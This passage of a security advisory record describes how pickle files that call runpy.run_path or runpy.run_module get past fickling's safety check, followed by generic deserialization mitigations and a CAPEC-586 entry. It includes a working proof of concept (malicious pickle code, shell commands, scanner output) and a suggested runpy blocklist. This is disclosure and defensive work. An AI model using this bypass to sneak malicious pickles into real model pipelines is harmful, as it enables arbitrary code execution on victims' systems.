a pickle using `runpy.run_path()` in `__reduce__`\n2. Fickling\u0027s `UnsafeImports` analysis does not flag `runpy` as dangerous\n3. Only the `UnusedVariables` heuristic triggers, resulting in `SUSPICIOUS` severity\n4. The pickle should be rated `OVERTLY_MALICIOUS` like `os.system`, `eval`, and `exec`\n\nTested behavior (fickling 0.1.6):\n\n| Function | Fickling Severity | RCE Capable |\n|-------------------|----------------------------|-------------|\n| os.system | LIKELY_OVERTLY_MALICIOUS | Yes |\n| eval | OVERTLY_MALICIOUS | Yes |\n| exec | OVERTLY_MALICIOUS | Yes |\n| runpy.run_path | SUSPICIOUS | Yes \u2190 BYPASS |\n| runpy.run_module | SUSPICIOUS | Yes \u2190 BYPASS |\n\nSuggested fix:\nAdd to the unsafe imports blocklist in `fickling/analysis.py`:\n- runpy\n- runpy.run_path\n- runpy.run_module\n- runpy._run_code\n- runpy._run_module_code\n\n### PoC\n_Complete instructions, including specific configuration details, to reproduce the vulnerability._**Environment:**\n- Python 3.13.2\n- fickling 0.1.6 (latest version, installed via pip)\n\nStep 1: Create malicious pickle\n\nimport pickle\nimport runpy\n\nclass MaliciousPayload:\n def __reduce__(self):\n return (runpy.run_path, (\"/tmp/malicious_script.py\",))\n\nwith open(\"malicious.pkl\", \"wb\") as f:\n pickle.dump(MaliciousPayload(), f)\n\nStep 2: Create the malicious script that will be executed\n\necho \u0027print(\"RCE ACHIEVED\"); open(\"/tmp/pwned\",\"w\").write(\"compromised\")\u0027 \u003e /tmp/malicious_script.py\n\nStep 3: Analyze with fickling\n\nfickling --check-safety malicious.pkl\n\nExpected output (if properly detected):\nSeverity: OVERTLY_MALICIOUS\n\nActual output (bypass confirmed):\n{\n \"severity\": \"SUSPICIOUS\",\n \"analysis\": \"Variable `_var0` is assigned value `run_path(...)` but unused afterward; this is suspicious and indicative of a malicious pickle file\",\n \"detailed_results\": {\n \"AnalysisResult\": {\n \"UnusedVariables\": [\"_var0\", \"run_path(...)\"]\n }\n }\n}\n\nStep 4: Prove RCE by loading the pickle\n\nimport pickle\npickle.load(open(\"malicious.pkl\", \"rb\"))\n# Check: ls /tmp/pwned \u003c-- file exists, proving code execution\n\nPickle disassembly (evidence):\n\n 0: \\x80 PROTO 4\n 2: \\x95 FRAME 92\n 11: \\x8c SHORT_BINUNICODE \u0027runpy\u0027\n 18: \\x94 MEMOIZE (as 0)\n 19: \\x8c SHORT_BINUNICODE \u0027run_path\u0027\n 29: \\x94 MEMOIZE (as 1)\n 30: \\x93 STACK_GLOBAL\n 31: \\x94 MEMOIZE (as 2)\n 32: \\x8c SHORT_BINUNICODE \u0027/tmp/malicious_script.py\u0027\n ...\n 100: R REDUCE\n 101: \\x94 MEMOIZE (as 5)\n 102: . STOP\n \n### Impact\n\nVulnerability Type:\nIncomplete blocklist leading to safety check bypass (CWE-184) and arbitrary code execution via insecure deserialization (CWE-502).\n\nWho is impacted:\nAny user or system that relies on fickling to vet pickle files for security issues before loading them. This includes:\n\nAttack scenario:\nAn attacker uploads a malicious ML model or pickle file to a model repository. The victim\u0027s pipeline uses fickling to scan uploads. Fickling rates the file as \"SUSPICIOUS\" (not \"OVERTLY_MALICIOUS\"), so the file is not rejected. When the victim loads the model, arbitrary code executes on their system.\n\nSeverity: HIGH\n- The attacker achieves arbitrary code execution\n- The security control (fickling) is specifically designed to prevent this\n- The bypass requires no special conditions beyond crafting the pickle with `runpy`",
"id": "GHSA-wfq2-52f7-7qvj",
"modified": "2026-01-11T14:54:44Z",
"published": "2026-01-09T20:52:40Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/trailofbits/fickling/security/advisories/GHSA-565g-hwwr-4pp3"
},
{
"type": "WEB",
"url": "https://github.com/trailofbits/fickling/security/advisories/GHSA-r7v6-mfhq-g3m2"
},
{
"type": "WEB",
"url": "https://github.com/trailofbits/fickling/security/advisories/GHSA-wfq2-52f7-7qvj"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22606"
},
{
"type": "WEB",
"url": "https://github.com/trailofbits/fickling/pull/108"
},
{
"type": "WEB",
"url": "https://github.com/trailofbits/fickling/pull/187"
},
{
"type": "WEB",
"url": "https://github.com/trailofbits/fickling/pull/195"
},
{
"type": "WEB",
"url": "https://github.com/trailofbits/fickling/commit/9a2b3f89bd0598b528d62c10a64c1986fcb09f66"
},
{
"type": "PACKAGE",
"url": "https://github.com/trailofbits/fickling"
},
{
"type": "WEB",
"url": "https://github.com/trailofbits/fickling/blob/977b0769c13537cd96549c12bb537f05464cf09c/test/test_bypasses.py#L87"
},
{
"type": "WEB",
"url": "https://github.com/trailofbits/fickling/releases/tag/v0.1.7"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "Fickling has a bypass via runpy.run_path() and runpy.run_module()"
}
Mitigation
If available, use the signing/sealing features of the programming language to assure that deserialized data has not been tainted. For example, a hash-based message authentication code (HMAC) could be used to ensure that data has not been modified.
Mitigation
When deserializing data, populate a new object rather than just deserializing. The result is that the data flows through safe input validation and that the functions are safe.
Mitigation
Explicitly define a final object() to prevent deserialization.
Mitigation
- Make fields transient to protect them from deserialization.
- An attempt to serialize and then deserialize a class containing transient fields will result in NULLs where the transient data should be. This is an excellent way to prevent time, environment-based, or sensitive variables from being carried over and used improperly.
Mitigation
Avoid having unnecessary types or gadgets (a sequence of instances and method invocations that can self-execute during the deserialization process, often found in libraries) available that can be leveraged for malicious ends. This limits the potential for unintended or unauthorized types and gadgets to be leveraged by the attacker. Add only acceptable classes to an allowlist. Note: new gadgets are constantly being discovered, so this alone is not a sufficient mitigation.
Mitigation
Employ cryptography of the data or code for protection. However, it's important to note that it would still be client-side security. This is risky because if the client is compromised then the security implemented on the client (the cryptography) can be bypassed.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
CAPEC-586: Object Injection
An adversary attempts to exploit an application by injecting additional, malicious content during its processing of serialized objects. Developers leverage serialization in order to convert data or state into a static, binary format for saving to disk or transferring over a network. These objects are then deserialized when needed to recover the data/state. By injecting a malformed object into a vulnerable application, an adversary can potentially compromise the application by manipulating the deserialization process. This can result in a number of unwanted outcomes, including remote code execution.